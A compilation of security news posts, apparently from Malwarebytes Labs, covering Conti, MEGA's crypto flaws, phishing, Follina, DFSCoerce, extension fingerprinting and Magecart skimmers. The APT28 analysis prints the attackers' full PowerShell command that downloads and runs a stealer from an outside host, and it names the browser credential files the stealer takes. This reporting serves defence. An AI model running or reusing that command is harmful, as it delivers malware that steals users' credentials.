IT NEWS

The dark web leak site used by the notorious Conti ransomware gang has disappeared, along with the chat function it used to negotiate ransoms with victims. For as long as this infrastructure is down the group is unable to operate and a significent threat is removed from the pantheon of ransomware threats.

Ransomware gangs like Conti use the threat of leaking stolen data on their dark web sites to extort enormous ransoms from their victims, making the sites a vital cog in the ransomware machine.

While the cause of the site’s disappearance isn’t known for sure, and criminal dark web sites are notoriously flaky, there is good reason to suspect that Conti has gone permanently.

However, while anything that stops Conti from terrorising businesses, schools, and hospitals is welcome, the disappearance of its leak site is unlikely to make potential ransomware victims any safer, sadly.

As we explained in our May ransomware review, recent research by Advintel suggests that Conti has spent the last few months executing a bizarre plan to fake its own death. If that is what’s happened, then the gang’s members have simply dispersed to other ransomware “brands” that are either operated by the Conti gang or affiliated to it.

Conti—as bad as they come

The gang behind Conti ransomware (called WizardSpider, although rarely referred to by that name) is believed to be based in Russia, and first appeared in 2020. The FBI recently called it “the costliest strain of ransomware ever documented,” and the US Department of State is offering a reward of up to $10 million for “information leading to the identification and/or location of any individual(s) who hold a key leadership position in the Conti ransomware variant transnational organized crime group.”

Conti has been used in a number of high profile attacks, including a devastating assault on Ireland’s Health Service executive on May 14, 2021. The attack disrupted healthcare in Ireland for months and the recovery effort could end up costing the country more than $100 million.

The real cost of the attack was measured in human suffering though. Speaking to Malwarebytes Labs, a doctor in one of the affected hospitals described how a 21st-century healthcare system deprived of it’s computers is brought to its knees. The attack caused enormous unnecessary suffering for both patients and healthcare professionals, and triggered hundreds of thousands of appointments to be cancelled.

The doctor’s brutal assessment of the Conti gang? “I think they lost their humanity.”

Faking its own death

According to Advintel, the Conti gang sealed its fate in February when it published a message in support of Russia’s invasion of Ukraine, declaring its “full support of Russian government.” By aligning itself to the Russian state it had made itself the subject of sanctions. Victims were not prepared to run the risk that their ransom payments might be treated as sanctions violations and Conti’s income dried up.

Ransomware gangs often react to trouble by going dark, or with ham-fisted attempts to pretend they’ve retired. These retirements are often quickly followed by the sudden appearance of a brand new ransomware gang that is obviously just the old gang working under a new name.

Advintel’s research suggested that Conti was aware of this pattern and determined to try something different. Instead of disappearing and then popping up a week later under a new name, the group created and operated new brands—Advintel names KaraKurt, BlackByte, and BlackBasta as examples—before retiring the Conti name, to make the transition less obvious. In addition to creating these new brands, it also dispersed parts of its workforce into existing gangs it had a relationship with, such as Hive and ALPHV.

To complete the deception, it maintained a skeleton crew that carried out extremely noisy, headline-grabbing attacks on Cost Rica, and continued to operate the leak site until the last moment.

Malwarebytes Threat Intelligence was able to independently confirm that Conti sent an internal announcement about its retirement to affiliates at the end of May, and that its internal chat servers stopped working around the same time.

The site had been inactive for 28 days before it disappeared, with the last new leak appearing on May 25. As our May ransomware report revealed, despite the noise it generated from its attacks on Costa Rica, Conti’s activity was significantly depressed in May, while the activity of gangs with alleged links to Conti increased, driven largely by the rise of BlackBasta.

The post Conti ransomware group’s pulse stops, but did it fake its own death? appeared first on Malwarebytes Labs.

MEGA, the cloud storage provider and file hosting service, is very proud of its end-to-end encryption. It says it couldn’t decrypt your stored files, even if it wanted to.

“All your data on MEGA is encrypted with a key derived from your password; in other words, your password is your main encryption key. MEGA does not have access to your password or your data. Using a strong and unique password will ensure that your data is protected from being hacked and gives you total confidence that your information will remain just that – yours.”

But there’s a problem. A Swiss team of researchers has just proved those claims wrong.

And that’s not all. The research went one step further, finding that an attacker could insert malicious files into the storage, passing all authenticity checks of the client.

Cryptography flaws

Researchers at the Department of Computer Science of the ETH Zurich in Zurich, Switzerland reviewed the security of MEGA and found significant issues in how it uses cryptography.

These findings could lead to devastating attacks on the confidentiality and integrity of user data in the MEGA cloud.

Key hierarchy

The MEGA client derives an authentication key and an encryption key from the password. The authentication key identifies users to MEGA. The encryption key encrypts a randomly generated master key, which in turn encrypts other key material of the user. Every account has a set of asymmetric keys: An RSA key pair for sharing data, a Curve25519 key pair for exchanging chat keys for MEGA’s chat functionality, and an Ed25519 key pair for signing the other keys. Furthermore, the client generates a new key for every file or folder (collectively referred to as nodes) uploaded by the user.

Long story short, all the keys are derived in one way or another from the password. And all the keys get stored on MEGA’s servers to support access from multiple devices.

Ciphertext

Ciphertext is encrypted text transformed from plaintext using an encryption algorithm. The researchers built two attacks based on the lack of integrity protection of ciphertexts containing keys, and two further attacks to breach the integrity of file ciphertexts and allow a malicious service provider to insert chosen files into a user’s cloud storage.

Attacks

Due to the flawed integrity protection, a malicious service provider can recover a user’s private RSA share key (used to share file and folder keys) over 512 login attempts. The number is 512 because of the RSA-CRT implementation used by MEGA clients to build an oracle that leaks one bit of information per login attempt about a factor of the RSA modulus.

As a result the malicious service provider can recover any plaintext encrypted with AES-ECB under a user’s master key. This includes all node keys used for encrypting files and folders. As a consequence, the confidentiality of all user data protected by these keys, such as files and chat messages, is lost.

Based on the first two attacks, a malicious service provider can construct an encrypted file. The user cannot demonstrate that they didn’t upload the forged data because the files and keys are indistinguishable from genuinely uploaded ones. It needs no further explanation that introducing a malicious file in such an attack could further compromise not only the user’s system, but also for those the user has shared their files or folders with.

MEGA’s response

MEGA acknowledged the issue on March 24, 2022, and released patches on June 21, 2022, awarding the researchers a bug bounty. But MEGA’s fix differs greatly from what the researchers proposed, patching only for the first attack alone since the other attacks rely on the first one.

Since that does not fix the key reuse issue, lack of integrity checks, and other systemic problems the researchers identified, this remains a source of concern for them.

As a regular MEGA user there is no reason to worry about these flaws, especially if you haven’t logged in more than 512 times. An attacker would need to have control over MEGA’s API servers or TLS connections without being noticed to perform any of these attacks.

Anyone interested in more technical details, can read the researcher’s paper.

The post MEGA claims it can’t decrypt your files. But someone’s managed to… appeared first on Malwarebytes Labs.

A phishing campaign is using voicemail notification messages to go after victims’ Office 365 credentials.

According to researchers at ZScaler, the campaign uses spoofed emails with an HTML attachment that contains encoded javascript.

The email claims that you have a new voicemail and that you can listen to the message by clicking on the attachment. To add credibility, the name of the attachment starts with a music note character like f.e. ♫ to make it look like a sound clip. In reality, it is an HTML file with obfuscated javascript embedded.

The javascript uses the windows.location.replace method to redirect the target to a specially crafted phishing page. The access to the page is behind a reCAPTCHA, probably to keep out the bots, particularly any automated URL analysis tools.

Spoofed email

Email spoofing basically comes down to sending emails with a false sender address. This can be used in various ways by attackers. Obviously pretending to be someone else can have its advantages especially if that someone else holds a position of power or trust with regards to the receiver.

In this campaign the threat actors use a name in the “From” field of the email aligned with the targeted organization’s name. An internal mail is more likely to be trusted by the receiver. Analysis of the email headers shows that the attacker leveraged email servers located in Japan.

Targets

The final credential phishing page attempts to steal the Office 365 credentials of the users by presenting them with a fake login screen. The redirection URL includes the target’s email address in base64 encoded, likely so the attackers will be able to match the victim and their login credentials.

The researchers found the campaign targeting organizations in the US military, security software developers and providers, healthcare and pharmaceutical, and supply-chain organizations in manufacturing and shipping.

How to avoid being phished

• Do not open unverified email attachments. If someone you know sends you an attachment you’re not expecting, check it is really them via another contact method.
• Do not enter your credentials before checking the actual URL of the site.
• If you use a password manager that autofills your login details, it will not enter your credentials on a phishing site because it will have a different URL. This is a really handy giveaway that something is up.
• Enable 2-factor authentication (2FA). If you hand over your password to a phishing page, the phisher can’t do much with it while you’re protected with 2FA. This isn’t foolproof though, as some phishing sites will also try to steal your 2FA codes.

Stay safe, everyone!

The post Watch out for the email that says “You have a new voicemail!” appeared first on Malwarebytes Labs.

One of the most popular zip programs around, 7-Zip, now offers support for “Mark of the Web” (MOTW), which gives users better protection from malicious files.

This is good news. But what does that actually mean?

In the bad old days, opening up a downloaded document could be a fraught exercise. Malicious files would often have full permission from the system to do whatever they wanted. Compromised PCs were the inevitable end result, and infected attachments were extremely popular. Outside of regular security tools, there often wasn’t much else available to help stop the flow.

Microsoft’s file block feature in 2007 meant network administrators could lock down any attempt to open specific file types. Unfortunately, this was a little too restrictive for some users. Files couldn’t be opened, even in cases where the user knew they were safe.

Microsoft changed things up a little in 2010, with Protected View.

Protected View: what is it?

Every time you download a spreadsheet or Word document and open it up, some checking takes place in the background. Downloaded files produce a yellow bar with the following message:

Protected View: Be careful. Files from the internet can contain viruses. Unless you need to edit, it’s safer to stay in Protected View.

This isn’t too different to the old file block feature, with a few key differences. Firstly, you can actually look at the document you want to open. As it is locked into a read-only mode, it can’t do anything malicious to your system. Secondly, users now have the option to enable editing. While there are other potentially dangerous aspects to opening downloaded files, Microsoft has solutions for those too. There is, of course, something telling these programs to warn you about potentially dangerous files. This is where MOTW comes into play.

How does Mark of the Web help?

MOTW is perhaps most recently known for blocking VBA code from running in Office. When a file is downloaded, Windows adds a ZoneId to the file which is responsible for the warning message(s). When the system detects the mark, the yellow bar is replaced by a red one. Unlike it’s yellow counterpart, there is no enable content button. Those files are done, with no way back.

Right click a file you’ve downloaded, and in General properties you should see a message which reads:

This file came from another computer and might be blocked to help protect this computer.

This exists thanks to MOTW.

The mark doesn’t exist on the file itself, which is left untouched. Originally an Internet Explorer security feature, you’ll now find it keeping you from harm’s way across the Microsoft product range.

Is this new addition a benefit for a zip program?

Absolutely. As noted by Bleeping Computer, MOTW didn’t apply to files extracted with 7-Zip. As a result, you’d have Office files opening as if you’d created them yourself with no Protected View in sight.

With this now enabled in the latest version of 7-Zip, some key Windows security precautions are now back in place.

There are some caveats to this story. As we know, not everybody pays attention to security warnings. Computer users routinely ignore all manner of security alerts from their operating system, browser, and security tools. The design and placement of warnings can further deter people paying attention to them. On top of all that, bogus security warnings can further make things confusing for users.

No matter how many warning messages are displayed, some people will still click “Enable” on files they shouldn’t. Even so, opening downloaded files with restrictions applied from the get-go can only be a good thing.

The post 7-Zip gets Mark of the Web feature, increases protection for users appeared first on Malwarebytes Labs.

This blog post was authored by Hossein Jazi and Roberto Santos.

In a recent campaign, APT28, an advanced persistent threat actor linked with Russian intelligence, set its sights on Ukraine, targeting users with malware that steals credentials stored in browsers.

APT28 (also known as Sofacy and Fancy Bear) is a notorious Russian threat actor that has been active since at least 2004 with its main activity being collecting intelligence for the Russian government. The group is known to have targeted US politicians, and US organizations, including US nuclear facilities.

On June 20, 2022, Malwarebytes Threat Intelligence identified a document that had been weaponized with the Follina (CVE-2022-30190) exploit to download and execute a new .Net stealer first reported by Google. The discovery was also made independently by CERT-UA.

Follina is a recently-discovered zero-day exploit that uses the ms-msdt protocol to load malicious code from Word documents when they are opened. This is the first time we’ve observed APT28 using Follina in its operations.

The malicious document

The maldoc’s filename, Nuclear Terrorism A Very Real Threat.rtf, attempts to get victims to open it by preying on their fears that the invasion of Ukraine will escalate into a nuclear conflict.

The content of the document is an article from the Atlantic Council called “Will Putin use nuclear weapons in Ukraine? Our experts answer three burning questions” published on May 10 this year.

The maldoc is an RTF file compiled on June 10, which suggests that the attack was used around the same time. It uses a remote template embedded in the Document.xml.rels file to retrieve a remote HTML file from the URL http://kitten-268.frge.io/article.html.

The HTML file uses a JavaScript call to window.location.href to load and execute an encoded PowerShell script using the ms-msdt MSProtocol URI scheme. The decoded script uses cmd to run PowerShell code that downloads and executes the final payload:

"C:WINDOWSsystem32cmd.exe" /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command "& {iwr http://kompartpomiar.pl/grafika/SQLite.Interop.dll -OutFile "C:Users$ENV:UserNameSQLite.Interop.dll";iwr http://kompartpomiar.pl/grafika/docx.exe -OutFile "C:Users$ENV:UserNamedocx.exe";Start-Process "C:Users$ENV:UserNamedocx.exe"}"

Payload Analysis

The final payload is a variant of a stealer APT28 has used against targets in Ukraine before. In the oldest variant, the stealer used a fake error message to hide what it was doing (A secondary thread was displaying this error message while the main program continued executing.) The new variant does not show the popup.

The variant used in this attack is almost identical to the one reported by Google, with just a few minor refactors and some additional sleep commands.

As with the previous variant, the stealer’s main pupose is to steal data from several popular browsers.

Google Chrome and Microsoft Edge

The malware steals any website credentials (username, password, and url) users have saved in the browser by reading the contents of %LOCALAPPDATA%GoogleChromeUser DataDefaultLogin Data.

In a very similar way, the new variant also grabs all the saved cookies stored in Google Chrome by accessing %LOCALAPPDATA%GoogleChromeUser DataDefaultNetworkCookies.

Stolen cookies can sometimes be used to break into websites even if the username and password aren’t saved to the browser.

The code to steal cookies and passwords from the Chromium-based Edge browser is almost identical to the code used for Chrome.

Firefox

This malware can also steal data from Firefox. It does this by iterating through every profile looking for the cookies.sqlite file that stores the cookies for each user.

In the case of passwords, the attackers attempt to steal logins.json, key3.db, key4.db, cert8.db, cert9.db, signons.sqlite.

These files are necessary for recovering elements like saved passwords and certificates. Old versions are also supported (signons.sqlite, key3.db and cert8.db are no longer used by new Firefox versions). Note that if the user has set a master password, the attackers will likely attempt to crack this password offline, later, to recover these credentials.

Exfiltrating data

The malware uses the IMAP email protocol to exfiltrate data to its command and control (C2) server.

The old variant of this stealer connected to mail[.]sartoc.com (144.208.77.68) to exfiltrate data. The new variant uses the same method but a different domain, www.specialityllc[.]com. Interestingly both are located in Dubai.

It’s likely the owners of the C2 websites have nothing to do with APT28, and the group simply took advantage of abandoned or vulnerable sites.

Although ransacking browsers might look like petty theft, passwords are the key to accessing sensitive information and intelligence. The target, and the involvement of APT28, a division of Russian military intelligence), suggests that campaign is a part of the conflict in Ukraine, or at the very least linked to the foreign policy and military objectives of the Russian state. Ukraine continues to be a battleground for cyberattacks and espionage, as well as devastating kinetic warfare and humanitarian abuses.

For more coverage of threat actors active in the Ukraine conflict, read our recent article about the efforts of an unknown APT group that has targeted Russia repeatedly since Ukraine invasion.

Protection

Malwarebytes customers were proactively protected against this campaign thanks to our anti-exploit protection.

IOCs

Maldoc:
Nuclear Terrorism A Very Real Threat.rtf
daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01

Remote template (Follina):
http://kitten-268.frge[.]io/article.html

Stealer:
http://kompartpomiar[.]pl/grafika/docx.exe
2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933

C2:
www.specialityllc[.]com

The post Russia’s APT28 uses fear of nuclear war to spread Follina docs in Ukraine appeared first on Malwarebytes Labs.

A researcher has published a Proof-of-Concept (PoC) for an NTLM relay attack dubbed DFSCoerce. The method leverages the Distributed File System: Namespace Management Protocol (MS-DFSNM) to seize control of a Windows domain.

Active Directory

A directory service is a hierarchical arrangement of objects which is structured in a way that makes access easy. Windows Active Directory (AD) is a directory service provided by Microsoft and developed for Windows domains. Basically, it is a central database which gets contacted before a user is granted access to a resource or a service. Organizations primarily use AD to perform authentication and authorization.

Many large organizations depend on Windows Active Directory (AD) to maintain order in the mountain of work involved in managing users, computers, permissions, and file servers.

NTLM

NTLM is short for New Technology LAN Manager. NTLM is the successor to the authentication protocol in Microsoft LAN Manager (LANMAN). NTLM is a protocol that uses a challenge and response method to authenticate a client.

1. First, the client establishes a network path to the server and sends a NEGOTIATE_MESSAGE advertising its capabilities.
2. Next, the server responds with CHALLENGE_MESSAGE which is used to establish the identity of the client.
3. Finally, the client responds to the challenge with an AUTHENTICATE_MESSAGE.

The NTLM protocol uses one or both of two hashed password values. Both passwords are also stored on the server (or domain controller). And through a lack of salting they are password equivalent, meaning that if you grab the hash value from the server, you can authenticate without knowing the actual password.

NTLM relay attack

NTLM relay attacks allow attackers to steal hashed versions of user passwords, and relay clients’ credentials in an attempt to authenticate to servers. They use a Machine-in-the-Middle method that allows threat actors to sit between clients and servers and intercept and relay validated authentication requests in order to gain unauthorized access to network resources.

PetitPotam is an example of an NTLM relay attack that prompted Microsoft to send out an advisory for system administrators to stop using the now deprecated Windows NT LAN Manager (NTLM) to thwart an attack. PetitPotam used the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) protocol to execute an NTLM attack.

The DFSCoerce script is based on the PetitPotam exploit, but instead of using MS-EFSRPC, it uses MS-DFSNM, a protocol that allows the Windows Distributed File System (DFS) to be managed over an remote procedure call (RPC) interface.

Other methods

Other methods threat actors could use include the MS-RPRN, and the MS-FSRVP protocols. And now the researcher has added MS-DFSNM to the list of applicable protocols. A list which researchers expect to grow even more. The Distributed File System Namespace Management (DFSNM) protocol is one of a collection of protocols that group shares that are located on different servers by combining various storage media into a single logical namespace. The DFS namespace is a virtual view of the share. When a user views the namespace, the directories and files in it appear to reside on a single share.

Mitigation

While Microsoft has issued patches for NTLM attacks in the past, it is unclear whether it will do the same for DFSNM to thwart the DFSCoerce method.

The advice for system administrators is to follow Microsoft’s advisory on how to prevent NTLM relay attacks. The Microsoft advisory, triggered by PetitPotam, will also prevent DFSCoerce and other NTLM attack methods. The recommendation basically says to disable the deprecated NTLM authentication where possible and use the Extended Protection for Authentication (EPA). Extended Protection for Authentication helps protect against MITM attacks, in which an attacker intercepts a client’s credentials and forwards them to a server.

Stay safe, everyone!

The post DFSCoerce, a new NTLM relay attack, can take control over a Windows domain appeared first on Malwarebytes Labs.

A researcher has found a way to generate a fingerprint of your device from your installed Google Chrome extensions, and then use that fingerprint to track you online.

Fingerprinting is a way of figuring out what makes your device unique and then using that to identify you as you move around the internet. Websites you visit receive a huge amount of information when you land on their portal—it’s a lot more than “just” which web browser you use to load up someone’s site.

What extensions do you have? How does your screen resolution compare with others? If you use a specific, unusual resolution, do you run other extensions alongside it? Do other people? Which versions of those extensions are on board? Is your IP address plain and exposed, or hidden behind a VPN?

How do sites fingerprint my device?

You can see a typical voluntary form of fingerprinting testing here. The site checks for a variety of information related to your device (including the below), and then places a cookie on your PC for four months:

• the User agent header
• the Accept header
• the Connection header
• the Encoding header
• the Language header
• the Upgrade Insecure Requests header
• the Referer header
• the Cache-Control header
• the BuildId of the browser
• the list of plugins
• the platform
• the cookies preferences (allowed or not)
• the Do Not Track preferences (yes, no or not communicated)
• the timezone
• the screen resolution and its color depth

What you often see in tests like this is a high degree of similarity between users for things like content encoding, preference for secure HTTPs requests, supported video formats, and so on.

The numbers start to flatten out for aspects of your PC like plugins, adblocker use, media devices plugged in, and lists of fonts. As you can see, it’s not just that fingerprinting can tell you what browser you use or your screen resolution at a very basic level, it’s all of the additional components too.

There’s lots of ways fingerprinting can provide a very in-depth profile of a device.

You may use one type of browser like 50% of the other people who had their system fingerprinted. However, only 5% may use a specific version of that browser. Of that 5%, only 2% have a certain extension installed. From there, only 0.3% may use a specific version of this extension. And so it goes on…

Even switching your browsers around may not help much, which leads to people coming up with all sorts of workarounds.

Running the gauntlet of web accessible resources

The site determines installed extensions thanks to something called “web accessible resources”. As the researcher explains:

Web-accessible resources are files inside an extension that can be accessed by web pages or other extensions. Extensions typically use this feature to expose images or other assets that need to be loaded in web pages, but any asset included in an extension’s bundle can be made web accessible.

By default no resources are web accessible; only pages or scripts loaded from an extension’s origin can access that extension’s resources. Extension authors can use the web_accessible_resources manifest property to declare which resources are exposed and to what origins.

A webpage can successfully fetch an installed extensions web accessible resource. If the fetch fails it usually means that the extension is not installed.

Visiting the checker site returns a list of potential Chrome extensions, and each entry has a True/False detection flag. In my case, it correctly reported the installed extensions on the test system and informed me what % of users share those extensions.

The project creator explains that the detection does not work for Firefox as “Firefox extension IDs are unique for every browser instance”. They go on to say that the site “only detects extensions from the Chrome web store. Extensions for [Microsoft Edge] can be detected using the same methods but are not supported by this tool”.

Tackling evasive behaviour

Some extensions have ways of not showing up in this kind of fingerprinting test. Are some of the extensions on your device trying to hide? Thanks to something called “Resource timing comparison”, it may not even matter.

In an effort to prevent detection some extensions will generate a secret token thats required to access their web accessible resources. Any fetch operation made without the secret token will result in failure. Although its much more difficult to detect these protected extensions, it’s still possible.

Resources of protected extensions will take longer to fetch than resources of extensions that are not installed. By comparing the timing differences you can accurately determine if the protected extensions are installed.

Avoiding fingerprinting

There’s numerous suggestions for this, but not all of them may be practical for you in your day to day dealings. Suggestions from the Electronic Frontier Foundation include:

• Using a “non-rare” browser, with the caveat that aspects such as fonts and plugins can easily make you identifiable.
• Disabling JavaScript, with the additional caveat that this may break functionality for most websites.
• Making use of the private browsing modes included in most web browsers.

You could also use browsers with dedicated anti-fingerprinting technology running in the background. Whatever you decide, this is by no means an easy problem to address for most people.

The post You can be tracked online using your Chrome browser extensions appeared first on Malwarebytes Labs.

Businesses and governments these days are relying on dozens of different Software-as-a-Service (SaaS) applications to run their operations — and it’s no secret that hackers are always looking for security vulnerabilities in them to exploit.

According to research by BetterCloud, the average company with 500 to 999 employees uses about 93 different SaaS applications, with that number rising to 177 for companies with over 1000 employees.

Coupled with the fact that vendors release thousands of updates each year to patch security vulnerabilities in their software, it’s not surprising that businesses and governments are struggling to keep up with the volume of security vulnerabilities and patches.

And lo and behold, despite the best efforts of governments and businesses around the globe, hackers still managed to exploit multiple security vulnerabilities in 2021.

In this post, we’ll take a look at five times governments and businesses got hacked thanks to security vulnerabilities in 2021.

1.   APT41 exploits Log4Shell vulnerability to compromise at least two US state governments

First publicly announced in early December 2021, Log4shell (CVE-2021-44228) is a critical security vulnerability in the popular Java library Apache Log4j 2. The vulnerability is simple to execute and enables attackers to perform remote code execution.

A patch for Log4Shell was released on 9 December 2021, but within hours of the initial December 10 2021 announcement, hacker groups were already racing to exploit Log4Shell before businesses and governments could patch it — and at least one of them was successful.

Shortly after the advisory, the Chinese state-sponsored hacking group APT41 exploited Log4Shell to compromise at least two US state governments, according to research from Mandiant. Once they gained access to internet-facing systems, APT41 began a months-long campaign of reconnaissance and credential harvesting.

2.  North Korean government backed-groups exploit Chrome zero-day vulnerability

On February 10 2022, Google’s Threat Analysis Group (TAG) discovered that two North Korean government backed-groups exploited a vulnerability (CVE-2022-0609) in Chrome to attack over 250 individuals working for various media, fintech, and software companies.

The activities of the two groups have been tracked as Operation Dream Job and AppleJeus, and both of them used the same exploit kit to collect sensitive information from affected systems.

How does it work, you ask? Well, hackers exploited a use-after-free (UAF) vulnerability in the Animation component of Chrome — which, just like Log4Shell, allows hackers to perform remote code execution.

3.  Hackers infiltrate governments and companies with ManageEngine ADSelfService Plus vulnerability

From September 17 through early October, hackers successfully compromised at least nine companies and 370 servers by exploiting a vulnerability (CVE-2021-40539) in ManageEngine ADSelfService Plus, a self-service password management and single sign-on solution.

So, what happens after hackers exploited this vulnerability? You guessed it — remote code execution. Specifically, hackers uploaded a payload to a victims network that installed a webshell, a malicious script that grants hackers a persistent gateway to the affected device.

From there, hackers moved laterally to other systems on the network, exfiltrated any files they pleased, and even stole credentials.

4.  Tallinn-based hacker exploits Estonian government platform security vulnerabilities

In July 2021, Estonian officials announced that a Tallinn-based male had gained access to KMAIS, Estonia’s ID-document database, where he downloaded the government ID photos of 286,438 Estonians.

To do this, the hacker exploited a vulnerability in KMAIS that allowed him to obtain a person’s ID photo using queries. Specifically, KMAIS did not sufficiently check the validity of the query received — and so, using fake digital certificates, the suspect could download the photograph of whoever he was pretending to be.

5.  Russian hackers exploit Kaseya security vulnerabilities

Kaseya, a Miami-based software company, provides tech services to thousands of businesses over the world — and on July 2 2021, Kaseya CEO Fred Voccola had an urgent message for Kaseya customers: shut down your servers immediately.

The urgency was warranted. Over 1,500 small and midsize businesses had just been attacked, with attackers asking for $70 million in payment.

A Russian-based cybergang known as REvil claimed responsibility for the attack. According to Hunteress Labs, REvil exploited a zero-day (CVE-2021-30116) and performed an authentication bypass in Kaseya’s web interface — allowing them to deploy a ransomware attack on MSPs and their customers.

Organizations need a streamlined approach to vulnerability assessment

Hackers took advantage of many security vulnerabilities in 2021 to breach an array of governments and businesses.

As we broke down in this article, hackers can range from individuals to whole state-sponsored groups — and we also saw how vulnerabilities themselves can appear in just about any piece of software regardless of the industry.

And while some vulnerabilities are certainly worse than others, the sheer volume of vulnerabilities out there makes it difficult to keep up with the volume of security patches. With the right vulnerability management and patch management, however, your organization can find (and correct) weak points that malicious hackers, viruses, and other cyberthreats want to attack.

Want to learn more about different vulnerability and patch management tools? Visit our Vulnerability and Patch Management page or read the solution brief.

The post Security vulnerabilities: 5 times that organizations got hacked appeared first on Malwarebytes Labs.

This blog post was authored by Jérôme Segura

We have seen and heard less buzz about ‘Magecart’ during the past several months. While some marketing playbooks continue to rehash the same breaches of yesteryear, we have been wondering if some changes took place in the threat landscape.

One thing we know is that if the Magecart threat actors decided to switch their operations exclusively server-side then the majority of companies, including ours, would lose visibility overnight. This is why we often look up to researchers that work the website cleanups. If something happens, these guys would likely notice it.

We followed the trail on two recent reports that proved to be worthwhile. It allowed us to make a connection to a previous campaign and identify new pieces of a pretty wide infrastructure.

For now we can say that Magecart client-side attacks are still around and that we could easily be missing them if we rely on automated crawlers and sandboxes, at least if we don’t make them more robust.

Newly reported domains linked with ‘anti-VM’ skimmer

On June 12, @rootprivilege tweeted about a hacked stored injected with the host js.staticounter[.]net that looked highly suspicious. When originally captured, the JavaScript appeared to be clean but it was confirmed to be malicious by @AffableKraut who posted a screenshot of the skimmer code.

A few days before @rootprivilege posted about this skimmer, @Sansec tweeted about another new skimmer domain at scanalytic[.]org. Comparing the two which are both on the same ASN (AS29182), we concluded that they are related.

We were able to connect these 2 domains with a previous campaign from November 2021 which was the first instance to our knowledge of a skimmer checking for the use of virtual machines. However, both of them are now devoid of VM detection code. It’s unclear why the threat actors removed it, unless perhaps it caused more issues than benefits.

There are other differences with the newest skimmer sample from @rootsecdev such as different naming schemes for important input fields. As you can see, in the former case these are explicitly referenced (i.e. CcNumber) while in the later iteration the names are generic web terms, making them less obvious.

Additional infrastructure

Using the urlscan.io service, we were able to discover additional infrastructure related to this ongoing campaign. We started our search with any recent submissions that made contact with an IP address belonging to AS29182.

The table below shows hostnames, their IP address and the date they were first seen on urlscan.io. Most of those were previously unknown to us until we recently started this investigation. You can click on the hyperlinks to load the corresponding sandbox pages, but note that a majority of them do not contain the actual skimmer code. This is most likely because the malicious infrastructure detected that urlscan.io’s sandbox was not using genuine residential IP addresses.

Validating skimmer activity

For the domains that are still responding, we can use information collected by urlscan.io and replay the attack using a genuine residential IP address and mimicking a real shopper’s experience. The image below shows the difference between a crawler session via VPN and one done manually with real network settings.

This allows us to confirm beyond doubt that the domains are indeed malicious, although their ASN should already be enough to proactively block them.

Connection with previous skimmer activity

Based on one hash, we can connect these skimmers to past activity going back to at least May 2020. One of the hostnames from our previous blog on the anti-vm skimmer, con[.]digital-speed[.]net, was loading this resource as well.

We can see 3 different themes used by the threat actor to hide their skimmer, named after JavaScript libraries:

• hal-data[.]org/gre/code.js (Angular JS)
• hal-data[.]org/data/ (Logger)
• js.g-livestatic[.]com/theme/main.js (Modernizr)

Less skimmer activity or simply more covert?

There are likely many more skimmer domains on the infrastructure we detailed above, and it is a good idea to keep a close eye on it. Having said that, we have generally seen less skimming attacks during the past several months. Perhaps we have been too focused on the Magento CMS, or our crawlers and sandboxes are being detected because of various checks including at the network level.

As Ben Martin over at Sucuri showed, WordPress with the WooCommerce plugin is outpacing Magento in terms of attacks. In addition, we (as several other companies) can only observe client-side attacks and as such we are oblivious to what happens server-side. Only a handful of researchers who do website cleanups have the visibility into PHP-based skimmers.

While stealing credit cards is still a good business, there are other types of data considerably more worth it. Crypto wallets and similar digital assets are extremely valuable and there is no doubt that clever schemes to rob those are in place beyond phishing for them. For an example of a client-side attack via JavaScript draining crypto assets, check out this blog from Eliya Stein over at Confiant.

Malwarebytes customers are protected against this campaign.

Indicators of Compromise

Skimmer domains

Skimmer IPs

The post Client-side Magecart attacks still around, but more covert appeared first on Malwarebytes Labs.

Last week on Malwarebytes Labs:

• Serious vulnerabilities found in ITarian software, patches available for SaaS products
• Update Chrome now: Four high risk vulnerabilities found
• Taking down the IP2Scam tech support campaign
• Don’t panic! “Unpatchable” Mac vulnerability discovered
• Introducing Malwarebytes Vulnerability Assessment for OneView: How to check for Common Vulnerabilities and Exposures (CVEs)
• “Multiple adversaries” exploiting Confluence vulnerability, warns Microsoft
• Instagram scam steals your selfies to trick your friends
• Karakurt extortion group: Threat profile
• Email compromise leads to healthcare data breach at Kaiser Permanente
• It’s official, today you can say goodbye to Internet Explorer. Or can you?
• Update now!  Microsoft patches Follina, and many other security updates
• Firefox stops advertisers tracking you as you browse, calls itself the most “private and secure major browser”
• Record breaking HTTPS DDoS attack
• Stealthy Symbiote Linux malware is after financial institutions
• Photos of kids taken from spyware-ridden phones found exposed on the internet
• Interpol’s First Light operation smashes crime on a global scale
• Hertzbleed exposes computers’ secret whispers
• ALPHV squeezes victim with dedicated leak site for employees and customers
• Securing the software supply chain, with Kim Lewandowski: Lock and Code S03E13

Stay safe!

The post A week in security (June 13 – June 19) appeared first on Malwarebytes Labs.